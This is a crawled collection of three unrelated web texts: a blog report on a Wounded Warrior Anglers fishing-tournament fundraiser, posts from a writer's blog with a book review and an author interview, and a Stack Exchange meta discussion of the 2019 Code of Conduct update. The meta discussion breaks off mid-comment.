__label__wiki	0.534097	0.534097	June 3, 2014 by meghan80 “It was grand” The 2nd annual Redfish Poker Fishing Championship, in memory of Sgt. John R. Pestel, was a huge success for the nonprofit organization, Wounded Warrior Anglers, this past Memorial Day weekend. “I think it was grand,” Judy Souders, co-founder of Wounded Warrior Anglers said after the event. “The tournament was 100 percent successful. It raised good money for Wounded Warrior Anglers and that’s why we did the tournament.” Dave Souders, also co-founder of the organization, said 23 boats and 11 kayakers participated in the Saturday, May 24, tournament. Although this year’s tournament included seven more kayakers, the number of boats decreased by six. David said the decrease really did not affect the success of the tournament, due to the interest in the silent and live auctions and 50/50 raffles. “I think everybody had a great time and really loved the event,” Dave said. The event kicked off with a captain’s meeting the night before, which he said went pretty smooth without any problems, as the anglers learned all the specifics of the tournament at Beef O’ Brady’s in Cape Coral The following morning the anglers arrived at their destinations with the same thought in mind – claiming one of the first place prizes by catching the biggest red and the redfish with the most spots. The photo and release tournament required the anglers to take a photograph of their catch on an approved measuring board. Those photographs were then brought back to the Olde Fish House Marina for weigh in that Saturday afternoon. The boat division was won by JBA Construction Jeff Asbury, who claimed $1,000. The first place kayak division winner was Jeff Gabrick who won $500 cash. The calcutta winner was the Dirt Necks, who claimed $2,000. Caleb Smith also walked away from the tournament with some additional funds in his pocket. He won $600 for the most spots calcutta and $100 as the 16 and under winner. Caleb, 10, who goes out fishing pretty much every weekend, said catching the fish was his favorite part of the tournamnet. “We went to different spots and went red fishing,” the youngster said during the tournament. Caleb also said it was exciting winning $700. Throughout the day, five bands donated their time and talent, to bring some music to the event. Not Guilty, Grayson Rodgers, Sticky Revenge, Wild Caught and Bonham528 kept the crowd entertained from 2 p.m. to 7 p.m. “The bands were incredible,” Judy said. The second annual boat raffle was also deemed a success, due to the organization selling out of all 3,000 tickets by 12:30 p.m. the day of the tournament. This year’s boat was a 2014 NauticStar 2110 Sport Bay with 115hp Yamaha four-stroke and trailer. The lucky ticket holder was announced at 7 p.m. at the Olde Fish House Marina on May 24. Bill Swartzwelder of Cape Coral, Florida, became the owner of the brand new NauticStar. He said he plans on letting Asbury use the boat to take individuals out on the water. Next year’s boat raffle, Dave said, may possibly increase to 5,000 tickets, which will provide more individuals with the opportunity to donate to the organization. The organization is seeking a boat manufacture who would like to donate a boat to the cause, to provide the organization with the opportunity to put more funds into the organization, and therefore help more wounded warriors and their caregivers. Judy said overall the day was awesome. “The weather was beautiful, the volunteers were awesome,” she said. “The people that came were awesome, they gave, they were pleasant.” Judy said it amazes her how the wounded warriors come out and work with each other and stand up for their brotherhood. Tate Hutchinson, a board member of Wounded Warrior Anglers, had the opportunity to attend this year’s tournament. “It was great,” he said of his experience. “It was very inspirational and it was nice to see the community come together for the veterans.” Before the day concluded May 24, approximately 500 people stopped by the Olde Fish House Marina to support the organization Wounded Warrior Anglers. Approximately $12,500 was raised during the 2nd annual tournament, which will help the organization fulfill their mission of helping our wounded warriors and their caregivers. The 3rd annual Redfish Poker Fishing Championship has already been set for the Saturday before Memorial Day in 2015. Wounded Warrior Anglers of America, Inc. was founded in 2012 by Dave and his wife Judy. Its mission is to “help rehabilitate the mind, body and soul of all service members who have been injured, wounded or disabled in the line of duty no matter what their era of service.” Wounded Warrior Anglers also help the warrior’s caregivers by treating them to a day of relaxation at Spa 33 in Matlacha, Florida. For more information, visit http://woundedwarrioranglers.org/ To view more blogs about this organization, visit https://meghan80.wordpress.com/wounded-warrior-anglers-of-america-inc/ This entry was posted in Wounded Warrior Anglers and tagged 2014 NauticStar 2110 Sport Bay, 2nd annual Redfish Poker Fishing Championship, 50/50 raffle, anglers, Beef O' Brady's, boats, Bonham528, Cape Coral, captain's meeting, caregivers, David Souders, fishing tournament, Florida, Grayson Rodgers, JBA Construction, Judy Souders, kayakers, live auction, Matlacha, Memorial Day weekend, nonprofit organization, Not Guilty, Olde Fish House Marina, redfish, retreat, silent auction, Sticky Revenge, Wild Caught, Wounded Warrior Anglers, Wounded Warrior Anglers of America, wounded warriors. Bookmark the permalink. ← Lucy helped us achieve a new distance A day in the rain →	cc/2020-05/en_middle_0032.json.gz/line7944
__label__cc	0.675547	0.324453	Writerly Goodness Melanie Marttila, BA, MA, Dreamsinger, Ink Alchemist, and Learning Mutt. Sundog Snippet: Uncertainty May 26, 2013 / Melanie Marttila / 6 Comments English: Circumzenithal arc and sundog over Cirrus clouds (Photo credit: Wikipedia) I just wrote about being a little overwhelmed and stressed recently. Part of that is my work situation. Without getting into too many details, I’ll give you the quick picture. My current acting assignment as regional training coordinator will end August 31, 2013. I’ve already been extended once, and while there is a possibility that I’d be kept on, I’m not sure if that’s in the cards. As an actor, I really don’t have the option of applying for a self-funded leave, but I’m really in need of one. I’m approaching burnout. My main duties, to manage the regional training plan and budget for my business line are a continual source of stress. Change is the name of the game, and I try my best to make sure that things work out by redoing several tables and excel worksheets every time there is a change, but it’s a lot of work. To keep myself motivated, I keep my fingers in the training and training design pots, but that only adds stress (good as that kind may be) because I have to do these extra duties in addition to what I’m supposed to be doing. I’ve applied for a couple of positions recently with our internal learning college. One is as an instructional designer, and that’s where I want to be. The other seems to be a position much like the one I currently occupy. I haven’t heard anything about either of these processes yet. We are reaching a point where, after the tumult of business transformation last year, a number of our boomer employees will be retiring. This will open up another couple of consultant-level opportunities for me, but I don’t know that I’d enjoy either position. We expect further retirement announcements in the coming months, and some at significantly higher levels. These executive-level retirements will have a trickle-down effect and as our structure shifts to accommodate these new absences, even more opportunities may become available. It will also throw us into a new round of chaos. I’m not looking forward to it. Part of me hopes that I’ll be back to my substantive position and that I’ll be able to take a break in the fall. Another part of me is invested in the instructional designer assessment process. It’s where I think I need to be. The bottom line is, I don’t know where I’ll be situated in my work world in a few months time. Change may be the new constant, but I’ve had enough. I am not agile. I may rise to the occasion, but not without cost. This is it for the Learning Mutt this week. Next week, I’ll blog about my first training for trainers gig. The Next Chapter: Overwhelmed or underwhelmed? You may have noticed that I have been a little quiet here on Writerly Goodness lately. What’s the deal? you ask. Fair question. One piece of the puzzle is that I am a little overwhelmed right now. I’ve taken on a submission challenge that I probably won’t meet, and several courses, that while excellent, have also eaten up a good chunk of my creative time. I’m trying to prepare two short stories for submission at the end of the week, and one of them has yet to be finished. I know. I’m stressed. 😦 I’m also working through the next revision of my work in progress and this coming week, I’m on the road for work again. I rarely finish the things I need to get done while I’m travelling. The other piece is that I haven’t been taking advantage of all the interesting creative things coming my way. I haven’t been motivated. The time issue may be part of it, but I suspect that the overwhelm and stress has left me a bit down in the last bit. This is about to change. I’m going to make contact with a few people this weekend to see if I can arrange for some interviews, and in a couple of weeks, my creative event schedule is getting underway, starting with Sudbury Wordstock, June 7 and 8, 2013. Then I’m off to the Canadian Authors Association CanWrite! Conference in Orillia, June English: Waterfront of Orillia, Ontario, Canada (Photo credit: Wikipedia) 12-16. I’d like to catch a Chi Series reading on the 12th as well, because one of my all-time favourite writers, Guy Gavriel Kay, will be reading that night. I just don’t know if I can do both in such a short turn-around. Other writerly goodness on deck: an interview with Barbara Kyle (which I’m very pleased about), and possibly something of a departure that I don’t want to spill the beans about in case it doesn’t pan out. I’ll also be blogging my experience in Margie Lawson’s course, and, on the learning mutt side of things, my first training for trainers experience (where I’m headed this week). When I get my outdoor office set up, I’ll probably show that off too, with the new view sans birches. Later in the summer, I’m hoping to head to When Worlds Collide in Calgary (might be Chinook arch over the city of Calgary, Alberta, Canada (Photo credit: Wikipedia) hooking up with an editor/writer friend for this and meeting a couple of other writerly friends on site), and in the fall, I’ll be taking off to the Surrey International Writers’ Conference where a whole pile of authors, agents, and editors I follow will be. Having put off the migration to WordPress.org and a self-hosted site, I’ve turned my attention to adding video or podcast elements to my blog. Not sure how soon that might happen. I have to put my techie hat on for that. And the site revamp is still lurking. Once again, I just need the time to spend a day or two and dedicate myself to the changes. There’s a lot of exciting stuff happening, I’ve just yet to get excited about it 😉 It’s kind of creeping up on me, though. I just wish I had more time off to get everything done (!) So I’m not really underwhelmed, I’m just under-invested at the moment. Summer will be here before I know it! One Sundog Snippet yet to come this week. See y’all soon! Sundog snippets: The learning mutt is learning :) I haven’t made much progress on Khara House’s May submit-o-rama and that’s kind of pathetic given that I only signed up to submit once a week. I do have two stories due for the 31st, but can’t see getting another story done this month. My other two submissions will have to be poetry, if anything at all. I may just have to concede to failing the challenge. What’s more exciting (for me, anyway) is that I signed up for some excellent courses in the last few weeks. First was Marcy Kennedy’s logline, tagline, and pitch webinar, through WANA International. Initially, the webinar was to have been May 11, but had to be rescheduled due to technical difficulties. We got to complete the webinar yesterday, May 18, and it was very worthwhile. Marcy knows of what she speaks 🙂 Then Last Tuesday, I signed up for another WANA International webinar with Angela Ackerman and Becca Puglisi, authors of The Emotion Thesaurus and the minds behind The Bookshelf Muse blog. That webinar was also very good, and focused on creative ways to show emotion in your writing. What works and what doesn’t for modern authors. I’d highly recommend WANA International courses. They’re reasonably priced, and the presenters are all experts in their respective fields. Marcy’s and Angela’s/Becca’s webinars weren’t the first WANA courses I attended. About a month or so ago, I signed up for Jay Donovan’s internet security course. He’s one of the techsurgeons behind the WANA site. It too, was a good one, though I had to miss part of it. The good thing about WANA webinars is that you get the recording on the other side 🙂 My month-long learning effort, though, is my first Margie Lawson course. Margie Lawson is my kind of writing teacher. Her method is deep editing and you really have to experience it to understand it. It’s eye-opening. She gets into rhetorical techniques and studying the writing of acknowledged masters. The course will continue until the end of the month and I’ll blog about it in more detail at that time, but for now, I’ll just say that you have to check out the Lawson Academy. Once again, the courses are very reasonably priced. I got hold of Margie through the Writers in the Storm blog. That’s all I have for you this week, my friends. I’ll encourage you to check out WANA International and Margie Lawson for yourselves. They. Are. Awesome. Until next weekend, the learning mutt is learning. Sundog snippets: Spring is finally here! May 19, 2013 October 12, 2014 / Melanie Marttila / 6 Comments So … spring has finally arrived in northern Ontario, but the black flies and mosquitoes have me hiding inside. I also find that I’m not as motivated by outdoor tasks as I once was. One thing I’d usually start doing is set up my outdoor writing spot, A.K.A. the patio, but this year, Phil and I have made the decision to rid ourselves of some potentially dangerous, though lovely, trees. We have a stand of 6 birches that have in recent years been dropping what Phil describes as “widow-makers.” If someone gets hit by one of those, it’s game over. Plus, they’re older than I am and if one of them should rot and fall (which happens with old birches) they could damage either our house, or my mom’s. These are the birches and poplar They’re about 30 feet high. The poplar (actually a large-toothed aspen) is coming down incidentally, because of its proximity to the birches and to my mom’s house. Last year, we had to trim it back, rather it had to be trimmed back by the roofers because it overhung Mom’s roof and would have damaged the new shingles otherwise. The poplar’s rather pretty in spring, with its new silvery leaves and catkins hanging down. The work will be done on May 29th, while I’m away, but I’ll come home to a new view and that weekend, Phil and I will set up the patio. Another sign of spring that always happens around the Victoria Day Long Weekend is the blooming of the pin cherry trees. The blooms don’t last long, but they are glorious while they last. They herald the coming of the lilacs (in about a week). I have a massive bunch of rhubarb. I need to take some in for the girls at work. If they can help me get through some of it this year, it will be a good thing. We always have so much more than we can use. And one final gift: my one perfect tulip. Review of Laura Howard’s The Forgotten Ones What’s The Forgotten Ones about? Allison O’Malley’s plan is to go to grad school so she can get a good job and take care of her schizophrenic mother. She has carefully closed herself off from everything else, including a relationship with Ethan, who she’s been in love with for as long as she can remember. What is definitely not part of the plan is the return of her long-lost father, who claims he can bring Allison’s mother back from the dark place her mind has gone. Allison doesn’t trust her father, so why would she believe his stories about a long forgotten Irish people, the Tuatha de Danaan? But truths have a way of revealing themselves. Secrets will eventually surface. And Allison must learn to set aside her plan and work with her father if there is even a small chance it could restore her mother’s sanity. Read more reviews on Amazon and Goodreads. I enjoyed The Forgotten Ones if for no other reason than it featured the Tuatha de Danaan. I am an unrepentant Celtophile and enjoyed rolling those lovely Irish names off my mental tongue 🙂 The fictive journey to Tir na n’Og also captured my interest. TFO is more than just another urban faerie tale, though. The protagonist, Allison, is dealing with some significant issues. Her father abandoned her mother before Allison was born, and she suffers distrust of men, and a deep-seated fear that anyone she loves will leave her too. Her mother is schizophrenic and for many years, Allison’s grandparents have been taking care of both their child and grandchild. Allison has a plan to relieve her grandparents of this burden by taking it on herself. Because of this, Allison tries to shut all other distractions from her life, including Ethan, the young man she’s had a crush on, well, forever. The pack-your-bags-we’re-goin’-on-a-guilt-trip thing is that Allison believes that she is the cause of her mother’s illness. She was still a child when her mother’s melancholy turned to depression and dissociation. Allison also fears that she will end up just like her mother. Mental illness has a genetic component, doesn’t it? What if her mother’s illness wasn’t schizophrenia, though? What if it is the sickness that assails all unfortunate humans who have been touched by the Danaan? When she begins to have strange dreams and her absentee father turns up, Allison’s life takes a turn for the fantastic and her journey takes her to Thunder Bay (Canuck connection :D) and Tir na n’Og itself in search of a way to cure her mother. Can she save her mother? Can she protect her family and Ethan from the ethereal and mercurial Danaan? Can Allison save herself? Like I said, I enjoyed Laura’s debut novel. She’s written it in a straight-forward, very readable style. Allison, though understandably neurotic, takes action to solve her problems and save the people she loves. TFO’s been framed as New Adult, but I have to say that if Laura hadn’t made the effort of framing the narrative as she did, and telling the reader that her protagonist and friends were in their early 20’s, I wouldn’t have been able to distinguish her story from YA. Her characters share an innocence that feels more comfortable in YA than NA. That would be my only criticism of TFO, however. I look forward to Laura’s next book in the series and to see how she develops as an author. My rating: Four stars Laura Howard lives in New Hampshire with her husband and four children. Her obsession with books began at the age of 6 when she got her first library card. Nancy Drew, Sweet Valley High and other girly novels were routinely devoured in single sittings. Books took a backseat to diapers when she had her first child. It wasn’t until the release of a little novel called Twilight, 8 years later, that she rediscovered her love of fiction. Soon after, her characters began to make themselves known. The Forgotten Ones is her first published novel. Now go buy the book, peoples! The Sundog Snippet: Thinking of Dad on Mother’s Day May 12, 2013 October 12, 2014 / Melanie Marttila Before you say anything, Phil and I treated Mom to a Mom’s Day Brunch at Culpepper’s. We would have taken Phil’s Mom too, but she threw her back out last night and couldn’t make it 😦 Yesterday, though, during out traditional Caturday pancake breakfast, Mom asked me to take some pictures of the tulips she planted from Dad’s funeral arrangements. They didn’t come up last year because of a killing frost, but this year, they look beautiful 🙂 Just sharing. Happy Mom’s Day, everyone! Six questions with D. J. McIntosh May 11, 2013 May 12, 2013 / Melanie Marttila / 4 Comments D.J. McIntosh’s The Witch of Babylon has been sold in twenty countries, was shortlisted for the Crime Writers Association Debut Dagger Award, and won a Crime Writers of Canada Arthur Ellis Award for best unpublished novel. It was a national bestseller, an Amazon.ca Best Book, and was named one of CNN’s Most Enduring Historical Thrillers. McIntosh is a member of the Canadian Society for Mesopotamian Studies. She is a strong supporter of Reporters Without Borders and the Committee to Protect Journalists. She lives in Toronto. Dorothy is one of the literary friends I’ve made through social media. I became intrigued by her work with the success of her last novel, The Witch of Babylon. Now that her second novel, The Book of Stolen Tales, is about to be published, she has graciously consented to this interview on Writerly Goodness. Welcome, Dorothy! WG: The Babylon Trilogy features art dealer James Madison and follows his scholarly adventures into the mysteries of the past and how they affect the modern world. Kirkus Reviews called you “An erudite Dan Brown,” but you mentioned to me that your novels have more in common with the novel of ideas. Can you elaborate on that statement? DJM: I suppose I’m using the phrase in the broadest sense. Thrillers depend on fast paced action, strong narrative and, usually, a compelling central character. I’ve read a lot of professional opinions and blogs that maintain ideas, especially those with a political tone, should be limited or left out entirely. Added to the list of non-starters are detailed descriptions and discourse about theories and ideas. I cut my teeth on the early Victorian novelists who, thankfully, wrote before this advice was imparted. Granted, we can’t call their novels ‘thrillers’ but ‘ideas’ were central to their work. I think of Dickens whose novels amounted to a virtual campaign for social justice and whose characters often symbolized social ideals or failings. Or Thomas Hardy dismayed at the transformation of England’s rural agricultural character into an industry centered world. The idea examined in The Book of Stolen Tales looks at how stories emerge from long ago myths, travel through the ages and are transformed according to the social milieu and mores of the storytellers. I’d love to see a return to novels that celebrate ideas. WG: What first drew you to Mesopotamian legend and mythology and how did that interest result in the idea for your novel/series? DJM: I like to write about famous stories and give them a new twist. When I began to think about my first novel, I started with the Book of Genesis, tales that were familiar to most of us. It quickly became evident that many of these stories were based on earlier Mesopotamian myths so I turned to research Mesopotamian history and culture and promptly fell in love with it. At the same time, the Iraq war broke out. Events such as the looting of the Iraq Museum I found both horrifying and gripping. The juxtaposition of this with my research grew into my first novel. WG: Who or what are your literary influences and how have they contributed to your work? DJM: I love lyrical writing and would name Anne Michaels (Fugitive Pieces), Cormac McCarthy (All the Pretty Horses), Rawi Hage (De Niro’s Game) and Gil Adamson (The Outlander), among my favourites. For clever plotting and great twists you can’t beat Agatha Christie (The Murder of Roger Ackroyd). And when I started to become serious about beginning a novel, I relied on Andrew Pyper’s Lost Girls. His book taught me so much. WG: I’m going to take you back in time, because many of my readers aren’t as advanced in their writing careers as you. When you were trying to find a home for The Witch of Babylon, did you query agents first, or go straight for a publisher? How long did it take to get a deal? DJM: When I decided to attempt a novel, I spent a lot of time networking with writers and listened to the many stories about agent and publisher slush piles and rejection letters. So I didn’t circulate my m.s. at all but instead entered the Crime Writers Association (UK) Debut Dagger and was thrilled to learn that “The Witch” was a finalist. The CWA circulates all finalist entries to agents and publishers and soon after I was fortunate to be taken on by a Toronto literary agent. WG: I’m a process geek. Could you share something about your writing process, please? DJM: I’m a strong believer in outlining. Once that is complete I grit my teeth and crank out the first draft. I find this stage excruciating and often there will be whole passages I know very well will be tossed but they’re needed initially just to get a full draft. Then comes working with my editor, who thankfully has a fine appreciation for improving the copy, and we go through many revisions. I really love this stage because it’s here I can fine hone the writing and enrich characters. My books are research intensive and much of the history is also added at the revision stage. WG: Please share your log line, or promo copy, for The Book of Stolen Tales. What is the publication date, and what plans do you have for the launch and promotion? DJM: May 28th!! We’ve got a great launch planned on the 23rd. A reception at the Carlton cinema in downtown Toronto followed by a private screening of Jean Cocteau’s classic Beauty & The Beast as a counterpart to the theme of The Book of Stolen Tales. Here’s the novel’s description. “In 2011 D.J. McIntosh took the book world by storm with her debut novel, The Witch of Babylon. Praised for its “stellar research” and “superb writing,” it introduced readers to John Madison, a rakish New York art dealer with a past, who uncovered a fabulous treasure trove of antiquities in the hills outside Baghdad and the truth behind a famous story long believed to be a myth. In this highly anticipated sequel, John Madison travels to London to purchase at auction a rare seventeenth century Italian book of fairy tales for an anonymous client. Madison is warned about the book’s malevolent history. Before he can deliver it to the buyer, he is robbed by a mysterious man claiming to be the book’s author. When his client disappears and the book’s provenance is questioned, Madison must immerse himself in the world of European artistocracy and rare book collectors. As the dark origins of certain fairy tales appear to come to life, Madison discovers that a well-loved children’s story contains a necromancer’s spell and points to the source of a deadly Mespotamian plague.” I’ll be promoting the book with some great giveaways – new Kindle, Kobo and Sony e-readers and Amazon and Indigo gift certificates. For the details when the time comes, check out my facebook page: https://www.facebook.com/pages/DJ-McIntosh/114532351952754?sk=wall and Twitter page: https://twitter.com/djmcintosh1 WG: Thank you for a fascinating and revealing interview, Dorothy. All the best for your future writing endeavours. DJM: Thank you so much for the interview Melanie. I always look forward to your Facebook posts! WG: For those of you whose interest has been piqued, I encourage you to pick up The Witch of Babylon and read it in advance of The Book of Stolen Tales launch. Also check Dorothy’s Author page out on Goodreads. How my life sentence with mortal punctuation has informed my writing May 5, 2013 May 5, 2013 / Melanie Marttila A.K.A. The period at the end of this series 🙂 I’ll preface this bit by saying that I don’t think I’m unique among writers in this respect. In fact, I think every writer works, at core, with and through the same issues. This past week, I read (and shared) a great interview with Chuck Wendig in which he talks about (among much other awesome) the themes that crop up in his work. Surprise, surprise, death and family rank prominently. In this morning’s The Sunday Edition with Michael Enright, one of the Canadian greats (with whom I was privileged to work, even though he didn’t like my genre/subject matter) Alistair MacLeod, mentioned the same influences and themes. Think of just about any author you’re reading or have enjoyed, and I think you’ll find death and family cropping up: Rowling’s Potter books were all about death and the search for family despite its omnipresence; Martin’s Song of Fire and Ice is about a number of families and he keeps on killing off prominent members 😉 (note here: in this context, what is politics, but family drama writ large on the world stage?); Collins’s Hunger Games = Death/Family; Gabaldon’s novels are a series of time travelling family sagas and death plays a prominent role. I could go on, but I won’t. Search your own shelves/ereaders to find your own examples. What’s unique about me is my story, my life, and I hope that translates to my characters so that even though the theme may be familar, the way that it is expressed through my characters and stories is something just a little different. Death finds its way into a lot of my stories in different ways: In my first published short story, “Chlorophyll and Corruption” (which is probably the prologue to a YA sci-fi), my protagonist first saves his brother from being pushed out of their atmospheric containment bubble, then must flee an impending supernova. “For a Change” (which I have subsequently rewritten as “The Gabriel” and may yet become a sci-fi novel) my protagonist’s reaction to a world of sterile Transmat immortals is to attempt suicide, repeatedly. In “Fox Fur,” my protagonist is trying to deal with the death of her parents by means of various encounters with foxes. “Dead Issue,” is about a young woman who makes a personal discovery at a family funeral. “Tonsillitis Blues” from my 1999 MA Thesis, Whispers in the Dark, is an interpretation of my adult exploration of the near-death experience prompted by my tonsillectomy trauma. The protagonist of “Fool’s Journey” (subsequently rewritten as “A Terrible Thing” and likely a YA paranormal novel), another story from the same collection, attempts suicide because she can’t deal with the visions of danger and death she’s been gifted with. Even my poetry is liberally sprinkled with death. Ferathainn, the protagonist of Initiate of Stone, experiences the deaths of her best friend, English: Colored version of the ancient Mesopotamian eight-pointed star symbol of the goddess Ishtar (Inana/Inanna), representing the planet Venus as morning or evening star. (Version not enclosed within a surrounding circle) Polski: Kolorowa wersja symbolu ze starożytnej Mezopotamii, ośmioramiennej gwiazdy Bogini Isztar (Inany/Inanny), reprezentujacej planetę Wenus jako poranną lub zachodnią gwiazdę. (Photo credit: Wikipedia) fiancé, and father, and subsequently dies herself attempting to exact revenge. She undergoes an Inanna-inspired journey into the underworld to reclaim herself and her will to live. Eoghan witnesses the execution of his brother for heresy and when the goddess Auraya calls him to become her champion, or Kas’Hadden (hammer of light), he experiences an assassination of personality at her hands. Dairragh, deeply affected by the death of his mother years earlier, inadvertently triggers the destruction of his home and the death of his father. He succumbs to his wounds and is resurrected and set on a shamanic path by the mysterious anogeni. I won’t get into the protagonists of my other unpublished works, but death and its impact are recurring themes. Death is the period of every life sentence and so it is a universal. Few readers will fail to be engaged by various explorations of death and its impact on those left behind. Thrillers and mysteries are built around it and are two of the most popular genres in publishing today. Likewise, everyone has a family. Even the only child who has chosen not to have children of her own (like me) has parents and understands the pull of the complicated legacy handed down to them. In my, admittedly small, family, women proved to be the peace-makers, sacrificial lambs, care-takers, bread-winners, and all around protagonists of the story. My maternal grandfather was an alcoholic and a womanizer. He and my grandmother were unable to have children and adopted my mother and aunt. My grandmother worked in a textile mill during the depression and worked for most of her life until her first major heart-attack forced her into early retirement. On my father’s side, my grandfather died at a relatively young age because of heart failure and my grandmother was an entrepreneur. I still meet people in Sudbury who hear my name and ask if it was my grandmother who owned Marttila Sewing Centre. Yup. That was her. She remained fiercely independent until stroke and cancer eventually took her life. My father was always an ill man and though he was the bread winner for most of his life, it was my mother who held the family together, getting her high school diploma and driver’s licence in her forty’s and starting a new career as a ward clerk in the hospital when my father had his breakdown. My mother was the one who cared for her parents and my father until their respective deaths. Though she doesn’t have to, she still takes care of me. It’s no wonder then, that my work focuses primarily on strong female characters. Incidentally, here are a couple of posts I came across this week from Marcy Kennedy on strong and likeable female characters. I had trouble for many years writing strong and likeable men because that was an archetype largely absent from my experience. I found my way to that eventually, though, because of Phil, and because I learned to recognize the good qualities in the men in my life and expand those into heroic proportions. Everyone is a mix. My paternal grandmother may have been a business woman, but she was a poor fiscal manager, and tried too hard to curry favour with the well-to-do women of Sudbury (read sycophantic). She first promised my mom inheritance of her business, then rescinded the offer and sold the business to a third party. I think this was because she was too embarrassed to let my mom see what a shambles she’d made of things. Though family dynamics run through all of my stories and novels, I’ll just present one example, from IoS, because it’s going to take a while to break down for you 😉 Ferathainn’s family in IoS is complex. Her parents, Selene and Devlin, can’t have children and adopted Fer when she was abandoned by a bedraggled, but clearly noble, woman who refused to speak and ran away before she could be made to explain anything. Devlin, feeling the need of a child of his blood, fathered Fer’s half-sister Aislinn, with Willow, a family friend and eleph (read elf). Willow is misanthropic and makes her living as a brew-master and owner of the local public house. She readily gave Aislinn into Selene and Devlin’s care. Aislinn is obviously a half-breed, and largely reviled by the Tellurin (human) villagers of Hartsgrove as a freak. She is destined to become a bridge between the eleph and Tellurin peoples, however, by virtue of her heritage. When Selene and Devlin adopted Fer, the resident eleph, Willow and her brothers Oak and Leaf, invited the new family and Aeldred, the local mage, to a Shir’Authe. The Shir’Authe foretells the destiny of the child in eleph culture. At the ceremony, none of the eleph can see anything about Fer’s future, but Leaf sees his spirit-lights, or astara, in the baby’s eyes (if you’re an Elf Quester, this is recognition, if you’re a Meyers fan, it’s imprinting). This is bizarre enough, because only eleph are supposed to bond with one another in this way. Selene, understandably, freaks out, but Leaf promises never to act on this deep spiritual attraction unless Fer somehow miraculously sees her astara in his eyes, or otherwise returns his feelings once she is gown. Aeldred senses a wild and powerful magickal talent in the infant. He fears that he will not be able to control the child and that she will become a rogue mage. She has the potential to wreak havoc on their world and her talents will be much sought after, by moral and immoral authorities, both magickal and political. In an attempt to minimize Fer’s potentially negative impact, he merely tells the others that she has talent and that he will remain in Hartgrove to become her teacher. He further tells them that Fer’s parents are powerful, but immoral, people and that they must protect the child in the event that either one, or both blood parents, come seeking her. He gets everyone to agree to a magickal binding. None of them will be able to speak of the circumstances of Fer’s birth or of her coming to Hartsgrove until the girl comes of age. By then, Aeldred hopes that he will have thoroughly indoctrinated Fer in the disciplines of the Agrothe magicks and that he will therefore be able to control her chaotic potential and prevent her from doing harm. In truth, Fer’s parents are Aline of Gryphonskeep and Halthyon, an eleph mage, or kaidin. Aline is descended from the de Corvus family and magick flows through the bloodline. The original Kas’Hadden was a de Corvus, so the power of the gods has been passed down to Fer. Aline is married to Killian of Gryphonskeep and mother to Dairragh (dun, dun, dun!). Halthyon is one of those rogue magi that Aeldred worries about. He has extended his lifespan far beyond the already lengthy eleph standard. His goal is to accumulate magickal power (by draining it from others as he kills them) and to ascend to godhood (in the process of which he intends to kill the existing gods of Tellurin). Halthyon is unable to extract the child’s location from Aline and subsequently kills her in the attempt. He wants to find his child because he considers her the only person worthy of ascending with him. In order to do that, Fer must become a god-killer as well. Okaaaaaay. So there, in a convoluted nutshell is the familial basis of the plot of not only English: St. Etheldreda’s Churchyard – Family Plot with Snowdrops (Photo credit: Wikipedia) IoS, but the ensuing novels in the series, which I have called Ascension. You can see why I identify the book in the epic fantasy genre 😀 Family is an endlessly intriguing Gordian knot to unravel and I think you can see where I have mined my tapestry to create Fer’s. It’s all variations on two essential themes. How have your life experiences contributed to your creative work? Do death and family inform your stories? Do you have a family-plot? Here ends the series that was A life sentence with mortal punctuation. I hope you have enjoyed it, and found it to be useful in your creative pursuits. Coming soon: I’ll have a book review for Laura Howard’s The Forgotten Ones, and hopefully a couple of author interviews to throw your way. I’ll definitely share my experience in Margie Lawson’s A deep editing guide to making your openings pop course, and in Marcy Kennedy’s Crafting your logline and pitch workshop next weekend. There might even be some Pupdates and Next Chapters in there. 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__label__cc	0.707637	0.292363	A storm in a teacup, please calm down [duplicate] How to disentangle the CoC discussion from the Monica issue? (4 answers) EDIT 2020-01-14: With the firing of community managers, I no longer believe this is a storm in a teacup. Dear friends across the Stack Exchange network. Can we please calm down a bit about the Code of Conduct update? As of 2019-10-21, the Code of Conduct Update had 424 upvotes and 2229 downvotes. The post was later deleted. An awful lot has been written about it already. Highly upvoted posts are speaking of coerced speech and users resigning. Apart from the fact that nobody is coerced into participating in Stack Exchange and that for that reason alone there is no coerced speech, apart from the soft coercion that is universal in society, can we please separate the Code of Conduct update from the way this has been handled? Whether this is coerced speech or not and whether this is good or bad, let's not make a storm in a teacup out of this update. Yes, there are decisions by Stack Exchange that many are unhappy about, in particular about the handling and communication surrounding the demodding of a moderator whose work many users were happy with. That issue, although related to the CoC update, is distinct from the handling of the demodding. The CoC can be bad while the demodding is fair, or vice versa. Please judge the CoC update on its own merits, rather than on the context. Worse things have happened. discussion code-of-conduct edited Jan 14 at 15:27 If you wish to call to the general public to calm down about one specific issue, perhaps it is worthwhile mentioning it by name in the question's title. Or mark a relevant sentence in bold. As it is now, it might seem like you're asking everyone to calm down about everything altogether, which is, evidently, impossible. – user1306322 Oct 13 '19 at 8:42 Maybe it's a storm in the teacup, but, who started it? – scaaahu Oct 13 '19 at 8:45 Context matters. My read of the situation is that SO Inc. has a problem with creating and maintaining a culture of inclusivity with respect to gender identity (among other areas). The fallout caused by this problem started long ago and in part has led to the drive for a new CoC. The problem has not been solved by the CoC, rather the poor execution of the CoC and the confusion around it are both symptoms of the larger problem, as is the situation with Monica Cellio. To only think about the CoC and ignore the larger problem will not help with the larger problem. – Todd Wilcox Oct 13 '19 at 8:52 I doubt people are going to calm down until either they've felt like their concerns have been heard or they're exhausted and leave. So far it seems like SE is just waiting for people to "remove their problematic selves" from the community, so you're going to just have to suck it up a while longer until those folks have finally gotten the message. – ColleenV parted ways Oct 13 '19 at 9:36 The unhappiness of some people motivated change and action on SE. Now other people are unhappy as a result. Why should the feelings of the latter group be downplayed and left unresolved? – reaanb Oct 13 '19 at 9:46 I will say one thing - every time someone tells people to calm down when SE hasn't taken any positive action to actually address the causes of all this, I get closer to signing off and never coming back. I have no problem enforcing the current CoC and I do think that some clarification on what being welcoming to trans and NB people means was long overdue. I think that the company has once again failed that community. – ColleenV parted ways Oct 13 '19 at 10:00 If it's a storm in a tea cup, I would say we're dealing with a fricking 20-km wide, 2-year long tea cup. Issues have been piling on for quite a while, not just this week. It's no surprise that this was the last straw for some of us. – E_net9 is disappointed in SE Oct 13 '19 at 10:01 @ColleenV I second your assertion of failing the lavender community and raise you complete ignorance that they’ve failed the lavender community and even belief that they’ve helped simply by releasing a new CoC. My deepest concern right now is the things that they are proudly touting as helping are not helping (or hurting), are distracting from things that would help, and are evidence of how clueless they are about what to actually to do to help the lavender community and actually fix the culture problems on SE/SO. – Todd Wilcox Oct 13 '19 at 10:24 Also depends on the size of the teacup .... – rene Oct 13 '19 at 10:58 This is like (to continue the tea 